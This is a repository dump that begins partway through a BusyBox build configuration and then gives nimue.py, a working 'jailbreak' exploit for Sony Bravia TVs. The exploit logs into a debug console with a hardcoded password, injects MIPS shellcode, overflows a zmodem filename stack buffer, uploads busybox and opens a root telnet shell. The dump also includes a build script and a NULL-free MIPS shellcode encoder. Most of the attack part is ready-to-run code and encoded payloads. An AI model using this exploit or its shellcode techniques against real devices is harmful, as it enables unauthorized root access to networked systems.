CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST is not set 755 | # CONFIG_FTPGET is not set 756 | # CONFIG_FTPPUT is not set 757 | # CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS is not set 758 | CONFIG_HOSTNAME=y 759 | # CONFIG_HTTPD is not set 760 | # CONFIG_FEATURE_HTTPD_RANGES is not set 761 | # CONFIG_FEATURE_HTTPD_USE_SENDFILE is not set 762 | # CONFIG_FEATURE_HTTPD_SETUID is not set 763 | # CONFIG_FEATURE_HTTPD_BASIC_AUTH is not set 764 | # CONFIG_FEATURE_HTTPD_AUTH_MD5 is not set 765 | # CONFIG_FEATURE_HTTPD_CGI is not set 766 | # CONFIG_FEATURE_HTTPD_CONFIG_WITH_SCRIPT_INTERPR is not set 767 | # CONFIG_FEATURE_HTTPD_SET_REMOTE_PORT_TO_ENV is not set 768 | # CONFIG_FEATURE_HTTPD_ENCODE_URL_STR is not set 769 | # CONFIG_FEATURE_HTTPD_ERROR_PAGES is not set 770 | # CONFIG_FEATURE_HTTPD_PROXY is not set 771 | # CONFIG_FEATURE_HTTPD_GZIP is not set 772 | CONFIG_IFCONFIG=y 773 | CONFIG_FEATURE_IFCONFIG_STATUS=y 774 | CONFIG_FEATURE_IFCONFIG_SLIP=y 775 | CONFIG_FEATURE_IFCONFIG_MEMSTART_IOADDR_IRQ=y 776 | CONFIG_FEATURE_IFCONFIG_HW=y 777 | CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS=y 778 | # CONFIG_IFENSLAVE is not set 779 | # CONFIG_IFPLUGD is not set 780 | # CONFIG_IFUPDOWN is not set 781 | CONFIG_IFUPDOWN_IFSTATE_PATH="" 782 | # CONFIG_FEATURE_IFUPDOWN_IP is not set 783 | # CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN is not set 784 | # CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN is not set 785 | # CONFIG_FEATURE_IFUPDOWN_IPV4 is not set 786 | # CONFIG_FEATURE_IFUPDOWN_IPV6 is not set 787 | # CONFIG_FEATURE_IFUPDOWN_MAPPING is not set 788 | # CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP is not set 789 | # CONFIG_INETD is not set 790 | # CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_ECHO is not set 791 | # CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DISCARD is not set 792 | # CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_TIME is not set 793 | # CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DAYTIME is not set 794 | # CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_CHARGEN is not set 795 | # CONFIG_FEATURE_INETD_RPC is not set 796 | CONFIG_IP=y 797 | CONFIG_FEATURE_IP_ADDRESS=y 798 | CONFIG_FEATURE_IP_LINK=y 799 | CONFIG_FEATURE_IP_ROUTE=y 800 | CONFIG_FEATURE_IP_TUNNEL=y 801 | CONFIG_FEATURE_IP_RULE=y 802 | CONFIG_FEATURE_IP_SHORT_FORMS=y 803 | # CONFIG_FEATURE_IP_RARE_PROTOCOLS is not set 804 | CONFIG_IPADDR=y 805 | CONFIG_IPLINK=y 806 | CONFIG_IPROUTE=y 807 | CONFIG_IPTUNNEL=y 808 | CONFIG_IPRULE=y 809 | CONFIG_IPCALC=y 810 | CONFIG_FEATURE_IPCALC_FANCY=y 811 | CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y 812 | CONFIG_NETSTAT=y 813 | CONFIG_FEATURE_NETSTAT_WIDE=y 814 | CONFIG_FEATURE_NETSTAT_PRG=y 815 | CONFIG_NSLOOKUP=y 816 | # CONFIG_NTPD is not set 817 | # CONFIG_FEATURE_NTPD_SERVER is not set 818 | CONFIG_PSCAN=y 819 | CONFIG_ROUTE=y 820 | CONFIG_SLATTACH=y 821 | CONFIG_TCPSVD=y 822 | CONFIG_TELNET=y 823 | CONFIG_FEATURE_TELNET_TTYPE=y 824 | CONFIG_FEATURE_TELNET_AUTOLOGIN=y 825 | CONFIG_TELNETD=y 826 | CONFIG_FEATURE_TELNETD_STANDALONE=y 827 | CONFIG_FEATURE_TELNETD_INETD_WAIT=y 828 | # CONFIG_TFTP is not set 829 | # CONFIG_TFTPD is not set 830 | # CONFIG_FEATURE_TFTP_GET is not set 831 | # CONFIG_FEATURE_TFTP_PUT is not set 832 | # CONFIG_FEATURE_TFTP_BLOCKSIZE is not set 833 | # CONFIG_FEATURE_TFTP_PROGRESS_BAR is not set 834 | # CONFIG_TFTP_DEBUG is not set 835 | CONFIG_TRACEROUTE=y 836 | # CONFIG_TRACEROUTE6 is not set 837 | CONFIG_FEATURE_TRACEROUTE_VERBOSE=y 838 | # CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE is not set 839 | # CONFIG_FEATURE_TRACEROUTE_USE_ICMP is not set 840 | CONFIG_TUNCTL=y 841 | CONFIG_FEATURE_TUNCTL_UG=y 842 | # CONFIG_UDHCPC6 is not set 843 | # CONFIG_UDHCPD is not set 844 | # CONFIG_DHCPRELAY is not set 845 | # CONFIG_DUMPLEASES is not set 846 | # CONFIG_FEATURE_UDHCPD_WRITE_LEASES_EARLY is not set 847 | # CONFIG_FEATURE_UDHCPD_BASE_IP_ON_MAC is not set 848 | CONFIG_DHCPD_LEASES_FILE="" 849 | # CONFIG_UDHCPC is not set 850 | # CONFIG_FEATURE_UDHCPC_ARPING is not set 851 | # CONFIG_FEATURE_UDHCP_PORT is not set 852 | CONFIG_UDHCP_DEBUG=0 853 | # CONFIG_FEATURE_UDHCP_RFC3397 is not set 854 | # CONFIG_FEATURE_UDHCP_8021Q is not set 855 | CONFIG_UDHCPC_DEFAULT_SCRIPT="" 856 | CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=0 857 | CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="" 858 | # CONFIG_UDPSVD is not set 859 | # CONFIG_VCONFIG is not set 860 | CONFIG_WGET=y 861 | CONFIG_FEATURE_WGET_STATUSBAR=y 862 | CONFIG_FEATURE_WGET_AUTHENTICATION=y 863 | CONFIG_FEATURE_WGET_LONG_OPTIONS=y 864 | CONFIG_FEATURE_WGET_TIMEOUT=y 865 | # CONFIG_ZCIP is not set 866 | 867 | # 868 | # Print Utilities 869 | # 870 | CONFIG_LPD=y 871 | CONFIG_LPR=y 872 | CONFIG_LPQ=y 873 | 874 | # 875 | # Mail Utilities 876 | # 877 | CONFIG_MAKEMIME=y 878 | CONFIG_FEATURE_MIME_CHARSET="us-ascii" 879 | CONFIG_POPMAILDIR=y 880 | CONFIG_FEATURE_POPMAILDIR_DELIVERY=y 881 | CONFIG_REFORMIME=y 882 | CONFIG_FEATURE_REFORMIME_COMPAT=y 883 | CONFIG_SENDMAIL=y 884 | 885 | # 886 | # Process Utilities 887 | # 888 | CONFIG_IOSTAT=y 889 | CONFIG_LSOF=y 890 | CONFIG_MPSTAT=y 891 | CONFIG_NMETER=y 892 | CONFIG_PMAP=y 893 | CONFIG_POWERTOP=y 894 | CONFIG_PSTREE=y 895 | CONFIG_PWDX=y 896 | CONFIG_SMEMCAP=y 897 | CONFIG_UPTIME=y 898 | # CONFIG_FEATURE_UPTIME_UTMP_SUPPORT is not set 899 | CONFIG_FREE=y 900 | CONFIG_FUSER=y 901 | CONFIG_KILL=y 902 | CONFIG_KILLALL=y 903 | CONFIG_KILLALL5=y 904 | CONFIG_PGREP=y 905 | CONFIG_PIDOF=y 906 | CONFIG_FEATURE_PIDOF_SINGLE=y 907 | CONFIG_FEATURE_PIDOF_OMIT=y 908 | CONFIG_PKILL=y 909 | CONFIG_PS=y 910 | # CONFIG_FEATURE_PS_WIDE is not set 911 | # CONFIG_FEATURE_PS_LONG is not set 912 | CONFIG_FEATURE_PS_TIME=y 913 | CONFIG_FEATURE_PS_ADDITIONAL_COLUMNS=y 914 | # CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS is not set 915 | CONFIG_RENICE=y 916 | CONFIG_BB_SYSCTL=y 917 | CONFIG_TOP=y 918 | CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE=y 919 | CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y 920 | CONFIG_FEATURE_TOP_SMP_CPU=y 921 | CONFIG_FEATURE_TOP_DECIMALS=y 922 | CONFIG_FEATURE_TOP_SMP_PROCESS=y 923 | CONFIG_FEATURE_TOPMEM=y 924 | CONFIG_FEATURE_SHOW_THREADS=y 925 | CONFIG_WATCH=y 926 | 927 | # 928 | # Runit Utilities 929 | # 930 | CONFIG_RUNSV=y 931 | CONFIG_RUNSVDIR=y 932 | # CONFIG_FEATURE_RUNSVDIR_LOG is not set 933 | CONFIG_SV=y 934 | CONFIG_SV_DEFAULT_SERVICE_DIR="/var/service" 935 | CONFIG_SVLOGD=y 936 | CONFIG_CHPST=y 937 | CONFIG_SETUIDGID=y 938 | CONFIG_ENVUIDGID=y 939 | CONFIG_ENVDIR=y 940 | CONFIG_SOFTLIMIT=y 941 | # CONFIG_CHCON is not set 942 | # CONFIG_FEATURE_CHCON_LONG_OPTIONS is not set 943 | # CONFIG_GETENFORCE is not set 944 | # CONFIG_GETSEBOOL is not set 945 | # CONFIG_LOAD_POLICY is not set 946 | # CONFIG_MATCHPATHCON is not set 947 | # CONFIG_RESTORECON is not set 948 | # CONFIG_RUNCON is not set 949 | # CONFIG_FEATURE_RUNCON_LONG_OPTIONS is not set 950 | # CONFIG_SELINUXENABLED is not set 951 | # CONFIG_SETENFORCE is not set 952 | # CONFIG_SETFILES is not set 953 | # CONFIG_FEATURE_SETFILES_CHECK_OPTION is not set 954 | # CONFIG_SETSEBOOL is not set 955 | # CONFIG_SESTATUS is not set 956 | 957 | # 958 | # Shells 959 | # 960 | CONFIG_ASH=y 961 | CONFIG_ASH_BASH_COMPAT=y 962 | # CONFIG_ASH_IDLE_TIMEOUT is not set 963 | CONFIG_ASH_JOB_CONTROL=y 964 | CONFIG_ASH_ALIAS=y 965 | CONFIG_ASH_GETOPTS=y 966 | CONFIG_ASH_BUILTIN_ECHO=y 967 | CONFIG_ASH_BUILTIN_PRINTF=y 968 | CONFIG_ASH_BUILTIN_TEST=y 969 | CONFIG_ASH_CMDCMD=y 970 | # CONFIG_ASH_MAIL is not set 971 | CONFIG_ASH_OPTIMIZE_FOR_SIZE=y 972 | CONFIG_ASH_RANDOM_SUPPORT=y 973 | CONFIG_ASH_EXPAND_PRMT=y 974 | CONFIG_CTTYHACK=y 975 | # CONFIG_HUSH is not set 976 | # CONFIG_HUSH_BASH_COMPAT is not set 977 | # CONFIG_HUSH_BRACE_EXPANSION is not set 978 | # CONFIG_HUSH_HELP is not set 979 | # CONFIG_HUSH_INTERACTIVE is not set 980 | # CONFIG_HUSH_SAVEHISTORY is not set 981 | # CONFIG_HUSH_JOB is not set 982 | # CONFIG_HUSH_TICK is not set 983 | # CONFIG_HUSH_IF is not set 984 | # CONFIG_HUSH_LOOPS is not set 985 | # CONFIG_HUSH_CASE is not set 986 | # CONFIG_HUSH_FUNCTIONS is not set 987 | # CONFIG_HUSH_LOCAL is not set 988 | # CONFIG_HUSH_RANDOM_SUPPORT is not set 989 | # CONFIG_HUSH_EXPORT_N is not set 990 | # CONFIG_HUSH_MODE_X is not set 991 | # CONFIG_MSH is not set 992 | CONFIG_FEATURE_SH_IS_ASH=y 993 | # CONFIG_FEATURE_SH_IS_HUSH is not set 994 | # CONFIG_FEATURE_SH_IS_NONE is not set 995 | # CONFIG_FEATURE_BASH_IS_ASH is not set 996 | # CONFIG_FEATURE_BASH_IS_HUSH is not set 997 | CONFIG_FEATURE_BASH_IS_NONE=y 998 | CONFIG_SH_MATH_SUPPORT=y 999 | CONFIG_SH_MATH_SUPPORT_64=y 1000 | CONFIG_FEATURE_SH_EXTRA_QUIET=y 1001 | CONFIG_FEATURE_SH_STANDALONE=y 1002 | # CONFIG_FEATURE_SH_NOFORK is not set 1003 | CONFIG_FEATURE_SH_HISTFILESIZE=y 1004 | 1005 | # 1006 | # System Logging Utilities 1007 | # 1008 | CONFIG_SYSLOGD=y 1009 | CONFIG_FEATURE_ROTATE_LOGFILE=y 1010 | CONFIG_FEATURE_REMOTE_LOG=y 1011 | CONFIG_FEATURE_SYSLOGD_DUP=y 1012 | CONFIG_FEATURE_SYSLOGD_CFG=y 1013 | CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256 1014 | CONFIG_FEATURE_IPC_SYSLOG=y 1015 | CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=16 1016 | CONFIG_LOGREAD=y 1017 | CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y 1018 | CONFIG_KLOGD=y 1019 | CONFIG_FEATURE_KLOGD_KLOGCTL=y 1020 | CONFIG_LOGGER=y 1021 | -------------------------------------------------------------------------------- /nimue.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Nimue jailbreaking script for Sony Bravia TVs. 4 | # Copyright (C) 2012 Sam Edwards 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | 19 | import binascii 20 | import struct 21 | import socket 22 | import sys 23 | import time 24 | 25 | def crc16(data): 26 | TABLE = """\ 27 | AAAhEEIgYzCEQKVQxmDncAiBKZFKoWuxjMGt0c7h7/ExEhACczJSIrVSlEL3ctZiOZMYg3uzWqO9 28 | 05zD//Pe42IkQzQgBAEU5mTHdKREhVRqpUu1KIUJle7lz/WsxY3VUzZyJhEWMAbXdvZmlVa0Rlu3 29 | eqcZlziH3/f+553XvMfESOVYhmineEAIYRgCKCM4zMnt2Y7pr/lIiWmZCqkrufVa1Eq3epZqcRpQ 30 | CjM6Eir929zLv/ue63mbWIs7uxqrpmyHfORMxVwiLAM8YAxBHK7tj/3szc3dKq0LvWiNSZ2XfrZu 31 | 1V70ThM+Mi5RHnAOn/++793f/M8bvzqvWZ94j4iRqYHKseuhDNEtwU7xb+GAEKEAwjDjIARQJUBG 32 | cGdguYOYk/uj2rM9wxzTf+Ne87ECkBLzItIyNUIUUndiVnLqtculqJWJhW71T+Us1Q3F4jTDJKAU 33 | gQRmdEdkJFQFRNun+reZh7iXX+d+9x3HPNfTJvI2kQawFldmdnYVRjRWTNltyQ75L+nImemJirmr 34 | qURYZUgGeCdowBjhCII4oyh9y1zbP+se+/mL2Ju7q5q7dUpUWjdqFnrxCtAasyqSOi79D+1s3U3N 35 | qr2LreidyY0mfAdsZFxFTKI8gyzgHMEMH+8+/13PfN+br7q/2Y/4nxduNn5VTnReky6yPtEO8B4= 36 | """ 37 | table = struct.unpack('<256H', binascii.a2b_base64(TABLE)) 38 | crc = 0x0000 39 | for byte in data: 40 | crc = crc<<8 41 | crc ^= table[(crc>>16) ^ ord(byte)] 42 | crc &= 0xFFFF 43 | return crc 44 | 45 | class ExploitException(Exception): 46 | def explain(self): 47 | sys.stderr.write('FAILURE: %s\n' % self.message) 48 | 49 | class Exploit(object): 50 | CONSOLE_PORT = 12345 51 | CONSOLE_PASSWORD = 'gemstar' 52 | 53 | FILESYSTEM_ROOT = '/tvgos' 54 | EXPLOIT_PATH = '/RW/exploit' 55 | EMPTY_DIRECTORY = '/RW/lost+found' 56 | 57 | BUSYBOX_PATH = 'busybox/busybox' 58 | 59 | STAGE2 = binascii.a2b_base64(""" 60 | JkAIAcEBCyX//2slBAEIJQQCDTFw/wgl/v8RBSSAEAI4/+knIVhpAQQBbI0EAS6NJnDMAQQBLq0h 61 | SC0BI3hpAfr/4B0mIeADQQQFJAGApjAzEAIkDAEBASSAEAL9ap94/JEzW/2RIl/cIcJcX54ge/GR 62 | Il/zkWJP/ZEiX9WUn3jNkZTQ0ZGX0NWRltDZkZHQ3ZGQ0J2Dn3jtkZ7QxZSd0MmUk9DNlJLQ9ZHC 63 | XL2Un3j/kSZ73LmiX9yhIl+qgSB78ZEiX8GRYk/cEWJf3LEiXWmQ53ntkSR7tIEge/GRIl/IkWJL 64 | 3LEiXfyRJ3uzgSB78ZEiX82RYkvcsSJd3LkiX9yhIl+1gSB78ZEiX9eRYk/cGWJfjZDmefyQJ3sQ 65 | kCR7WJ4ge/GRIl/ekWJP3AFiX/1un3jcsQJd3LmCXP2QJHteniB78ZEiX/uRYk/csWJd3LmCXNyh 66 | Yl9ZniB78ZEiXwluIk9bniB78ZEiX9yxAl1bniB78ZEiX9yxIl1bniB78ZEiX42Q5nncuYJcfJDq 67 | ee+RK3r9kYrw/pEqet7BCl4BbmJC+ZGfeP2RgvDcoSJfVp4ge/GRIl/XkSZ7XJ4ge/GRIl9ZkOZ5 68 | u4Ege/GRIl8EbiJP/ZEiX9LmSzua9FZw0/NXLITzTSf9/0Ff0P0ico2RG2v9vEdfnOJKX/+RMGv9 69 | kSJf/ZEiX/2RIl/3kSJf/ZEiX/2RIl/9kSJf/ZEiXw== 70 | """) 71 | STAGE2_PORT_UPLOAD = 4660 72 | STAGE2_PORT_SHELL = 94 73 | 74 | TELNET_SETUP_COMMANDS = ( 75 | 'cp -r /dev /widget\n' 76 | 'mount -t ramfs none /dev\n' 77 | 'mv /widget/dev/* /dev\n' 78 | 'mv /widget/dev /dev/pts\n' 79 | 'mount -t devpts none /dev/pts\n' 80 | 'mknod /dev/ptmx c 5 2\n' 81 | 'cd /root\n' 82 | 'telnetd -lash\n' 83 | 'exit\n' 84 | ) 85 | 86 | PADPATH_LENGTH = 64 87 | STACK_DEPTH_PATH = 0x420 88 | STACK_DEPTH_RA = 0x08 89 | 90 | MAX_CONSOLE_COMMAND = 255 91 | MAX_ZMODEM_FILENAME = 1000 92 | CONSOLE_BADCHARS = '\x00\x06\x07\x08\t\n\r\x1b\x1c\x1d"\\~\x7f' 93 | ZMODEM_BADCHARS = '\x00\x18' 94 | 95 | STAGE1 = ('6088EA27' # addiu $t2, $ra, -30624 96 | 'C877498D' # lw $t1, 30664($t2) 97 | '21FF2939' # xori $t1, $t1, 0xFF21 98 | 'C87749AD' # sw $t1, 30664($t2) 99 | '2621E003' # xor $a0, $ra, $0 100 | '41040524' # addiu $a1, $0, 0x0441 101 | '0180A630' # andi $a2, $a1, 0x8001 102 | '33100224' # addiu $v0, $0, __NR_cacheflush 103 | '0C010101' # syscall 104 | '24801002' # nop 105 | '29FFA003' # jr $sp [xored by 0xFF21] 106 | '24801002' # nop 107 | ).decode('hex') 108 | 109 | FDP_FILENAME_BUFFER = 0x2BB8664C # Works on aa0195fn - any other firmwares? 110 | ADDR_RETURN_OVERRIDE = (FDP_FILENAME_BUFFER + PADPATH_LENGTH - 111 | len(FILESYSTEM_ROOT + '/')) 112 | # This is necessary to make sure ADDR_RETURN_OVERRIDE falls on a 4-byte 113 | # boundary. 114 | STAGE1_PAD = 4-ADDR_RETURN_OVERRIDE%4 115 | ADDR_RETURN_OVERRIDE += STAGE1_PAD 116 | 117 | def __init__(self, ip): 118 | self.ip = ip 119 | self.sock = None 120 | 121 | @classmethod 122 | def check_chars(cls, teststring, charset=ZMODEM_BADCHARS): 123 | return not any(char in charset for char in teststring) 124 | 125 | def do_step(self, step, func, *args, **kwargs): 126 | sys.stderr.write('%s... ' % step) 127 | func(*args, **kwargs) 128 | sys.stderr.write('OK\n') 129 | 130 | def run(self): 131 | try: 132 | self.do_step('Preparing', self.prepare) 133 | self.do_step('Connecting', self.connect, self.CONSOLE_PORT) 134 | self.do_step('Logging in', self.send_password) 135 | self.do_step('Creating exploit directory', self.create_dir) 136 | self.do_step('Creating padding directory', self.create_pad) 137 | self.do_step('Switching zmodem mode', self.zmodemmode) 138 | self.do_step('Injecting stage1', self.inject_stage1) 139 | self.do_step('Injecting stage2 and overflowing buffer', 140 | self.overflow_buffer) 141 | self.do_step('Giving stage2 a moment to set up', time.sleep, 0.5) 142 | self.do_step('Connecting to stage2\'s port', self.connect, 143 | self.STAGE2_PORT_UPLOAD) 144 | self.do_step('Uploading busybox', self.upload_busybox) 145 | self.do_step('Giving busybox a moment to start', time.sleep, 2.0) 146 | self.do_step('Connecting to busybox', self.connect, 147 | self.STAGE2_PORT_SHELL) 148 | self.do_step('Setting up Telnet server', self.setup_telnet) 149 | self.do_step('Testing Telnet server', self.connect, 23) 150 | self.victory() 151 | except ExploitException, e: 152 | e.explain() 153 | sys.exit(1) 154 | 155 | def prepare(self): 156 | self.padlength = self.PADPATH_LENGTH - len(self.FILESYSTEM_ROOT + '/' + 157 | self.EXPLOIT_PATH + '//') 158 | if self.padlength < 1: raise ExploitException('EXPLOIT_PATH too long!') 159 | 160 | stage2_depth = self.STACK_DEPTH_RA + len(self.STAGE2) 161 | zmodem_pad = (self.STACK_DEPTH_PATH - self.PADPATH_LENGTH - 162 | stage2_depth) 163 | 164 | # Check the stage1... 165 | if not self.check_chars(self.STAGE1, self.CONSOLE_BADCHARS+' '): 166 | raise ExploitException('STAGE1 has some invalid characters!') 167 | if len(self.STAGE1) % 4 != 0: 168 | raise ExploitException('STAGE1 not aligned properly!') 169 | 170 | # Check the stage2... 171 | if zmodem_pad < 0: raise ExploitException('STAGE2 too large!') 172 | if not self.check_chars(self.STAGE2): 173 | raise ExploitException('STAGE2 has some invalid characters!') 174 | if len(self.STAGE2) % 4 != 0: 175 | raise ExploitException('STAGE2 not aligned properly!') 176 | 177 | # Establish the zmodem filename (goes onto the stack directly, contains 178 | # stage2 as well, and a relative-branch at the end to execute it) 179 | self.zmodem = ('x'*zmodem_pad + self.STAGE2 + 180 | struct.pack(' self.MAX_ZMODEM_FILENAME: 187 | raise ExploitException('ZModem filename too long; ' 188 | 'increase PADPATH_LENGTH?') 189 | 190 | try: 191 | self.busybox = open(self.BUSYBOX_PATH, 'rb') 192 | except IOError: 193 | raise ExploitException('unable to open BUSYBOX_PATH!') 194 | 195 | def connect(self, port): 196 | if self.sock is not None: self.sock.close() 197 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 198 | self.sock.settimeout(10.0) 199 | try: 200 | self.sock.connect((self.ip, port)) 201 | except socket.error, e: 202 | raise ExploitException(e.strerror) 203 | 204 | def send_password(self): 205 | try: 206 | self._send('\n' + self.CONSOLE_PASSWORD + '\n') 207 | except socket.error: 208 | raise ExploitException('Guide did not accept password!') 209 | 210 | def create_dir(self): 211 | self.cd('/') 212 | self.rm(self.EXPLOIT_PATH) 213 | self.cp(self.EMPTY_DIRECTORY, self.EXPLOIT_PATH) 214 | self.cd(self.EXPLOIT_PATH) 215 | 216 | def create_pad(self): 217 | self.cp(self.EMPTY_DIRECTORY, 'empty') 218 | self.cp('empty', 'x'*self.padlength) 219 | self.cd('x'*self.padlength) 220 | 221 | def zmodemmode(self): 222 | if self.execute('zmodemmode 1') != 'Mode changed to: Host\r\n': 223 | raise ExploitException('Unexpected response!') 224 | 225 | def inject_stage1(self): 226 | self.execute('fdp file %s%s' % ('x'*self.STAGE1_PAD, self.STAGE1)) 227 | 228 | def overflow_buffer(self): 229 | header = '\x2a\x18\x41\x04\x00\x00\x00\x00\x89\x06' 230 | data = self.zmodem + '\x00\x00' 231 | cksum = struct.pack('>H', crc16(data + 'k')) 232 | self.sock.send('rz\n' + header + data + '\x18k' + cksum + '\x11') 233 | 234 | def upload_busybox(self): 235 | while True: 236 | data = self.busybox.read(1024*20) 237 | if not data: break 238 | self.sock.sendall(data) 239 | self.busybox.close() 240 | self.sock.close() 241 | 242 | def setup_telnet(self): 243 | self.sock.sendall(self.TELNET_SETUP_COMMANDS) 244 | d = self.sock.recv(1024) 245 | self.sock.close() 246 | if d: 247 | raise ExploitException('unexpected reply - telnet may still work') 248 | 249 | def victory(self): 250 | self.sock.close() 251 | sys.stderr.write("""\ 252 | 253 | ******************************************************************************** 254 | ****************************** EXPLOIT SUCCESSFUL ****************************** 255 | ******************************************************************************** 256 | * You may now connect to the TV on port 23 using any standard Telnet client to * 257 | * access a root shell. To stop the Telnet server, simply restart the TV. * 258 | ******************************************************************************** 259 | 260 | """) 261 | 262 | def cd(self, directory): 263 | if not self.execute('cd %s' % directory).endswith(directory + '\r\n'): 264 | raise ExploitException('cd command failed') 265 | 266 | def cp(self, src, dest): 267 | result = self.execute('cp %s %s' % (src, dest)) 268 | if not (result.startswith('OK ') and result.endswith(' copied\r\n')): 269 | raise ExploitException('cp command failed') 270 | 271 | def rm(self, target): 272 | self.execute('rm %s 1' % target) 273 | 274 | def execute(self, cmd): 275 | if len(cmd) > self.MAX_CONSOLE_COMMAND: 276 | raise ExploitException('Tried to send oversized console command!') 277 | if not self.check_chars(cmd, self.CONSOLE_BADCHARS): 278 | raise ExploitException('Tried to send console command that ' 279 | 'contained some bad characters!') 280 | try: 281 | return self._send(cmd + '\n') 282 | except socket.timeout: 283 | raise ExploitException('Timeout while executing console command!') 284 | 285 | def _send(self, data): 286 | self.sock.send(data) 287 | buf = '' 288 | while True: 289 | x = self.sock.recv(1) 290 | if not x: 291 | raise ExploitException('TV unexpectedly closed connection') 292 | buf += x 293 | if self.check_prompt(buf[-13:]): 294 | return buf[:-13].split('\r\n',1)[1] 295 | 296 | @classmethod 297 | def check_prompt(cls, prompt): 298 | LOWER = '0d.00:00:00> ' 299 | UPPER = '9d.29:59:59> ' 300 | if len(prompt) < 13: return False 301 | for n,c in enumerate(prompt[:13]): 302 | if not (ord(LOWER[n]) <= ord(c) <= ord(UPPER[n])): 303 | return False 304 | return True 305 | 306 | 307 | if __name__ == '__main__': 308 | if len(sys.argv) < 2: 309 | sys.stderr.write('Usage: %s TARGET\n' % sys.argv[0]) 310 | else: 311 | nimue = Exploit(sys.argv[1]) 312 | nimue.run() 313 | -------------------------------------------------------------------------------- /stage2/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This is just a crude script. The build process is not complex, I just don't 4 | # like typing. :) 5 | 6 | PREFIX=mipsel-linux 7 | $PREFIX-gcc -nostdlib -DATTEMPT_STACK_REPAIR -o stage2.elf stage2.S && 8 | $PREFIX-objcopy -O binary --only-section=.text stage2.elf stage2.bin && 9 | ./encoder.py stage2.bin stage2.b64 && 10 | cat stage2.b64 11 | -------------------------------------------------------------------------------- /stage2/encoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # NULL-free shellcode encoder for little-endian MIPS CPUs. 4 | # Copyright (C) 2012 Sam Edwards 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | 19 | import struct 20 | import sys 21 | import random 22 | import base64 23 | 24 | class Encoder(object): 25 | DECODER_INIT = '26400801'.decode('hex') # xor $t0, $t0, $t0 26 | DECODER_SET_T3 = 0x250B0000 # addiu $t3, $t0, ???? 27 | DECODER_INC_T3 = 0x256B0000 # addiu $t3, $t3, ???? 28 | DECODER = ('04010825' # addiu $t0, $t0, 0x0104 29 | '04020D31' # andi $t5, $t0, 0x0204 30 | '70FF0825' # addiu $t0, $t0, 0xFF70 31 | 'FEFF1105' # bgezal $t0, 0xFFFE 32 | '24801002' # nop 33 | '38FFE927' # addiu $t1, $ra, 0xFF38 34 | '21586901' # addu $t3, $t3, $t1 35 | '04016C8D' # lw $t4, 0x0104($t3) 36 | '04012E8D' # lw $t6, 0x0104($t1) 37 | '2670CC01' # xor $t6, $t6, $t4 38 | '04012EAD' # sw $t6, 0x0104($t1) 39 | '21482D01' # addu $t1, $t1, $t5 40 | '23786901' # subu $t7, $t3, $t1 41 | 'FAFFE01D' # bgtz $t7, 0xFFFA 42 | '2621E003' # xor $a0, $ra, $0 43 | '41040524' # addiu $a1, $0, 0x0441 44 | '0180A630' # andi $a2, $a1, 0x8001 45 | '33100224' # addiu $v0, $0, __NR_cacheflush 46 | '0C010101' # syscall 47 | '24801002' # nop 48 | ).decode('hex') 49 | 50 | BAD_BYTES = [0x00, 0x18] 51 | 52 | def __init__(self, unencoded=''): 53 | assert len(unencoded)%4 == 0 54 | self.unencoded = unencoded 55 | 56 | assert self.check(self.DECODER_INIT + self.DECODER) 57 | 58 | def encode(self): 59 | self.xor = '' 60 | self.encoded = '' 61 | self.choose_xor() 62 | self.create_decoder() 63 | self.apply_xor() 64 | assert self.check(self.encoded) 65 | return self.encoded 66 | 67 | def choose_xor(self): 68 | candidates = [[x for x in range(256) if x not in self.BAD_BYTES]]*4 69 | 70 | for index, byte in enumerate(self.unencoded): 71 | for bad in self.BAD_BYTES: 72 | eliminate = bad^ord(byte) 73 | if eliminate in candidates[index&3]: 74 | candidates[index&3].remove(eliminate) 75 | 76 | self.xor = '' 77 | for clist in candidates: 78 | if not len(clist): 79 | sys.stderr.write('No XOR possible!\n') 80 | sys.exit(1) 81 | self.xor += chr(random.choice(clist)) 82 | 83 | def create_decoder(self): 84 | self.encoded += self.DECODER_INIT 85 | for index, piece in enumerate(self.length_sum()): 86 | if not index: 87 | instruction = self.DECODER_SET_T3 88 | else: 89 | instruction = self.DECODER_INC_T3 90 | instruction |= piece & 0xFFFF 91 | self.encoded += struct.pack('. 16 | 17 | #include 18 | #include 19 | 20 | .set 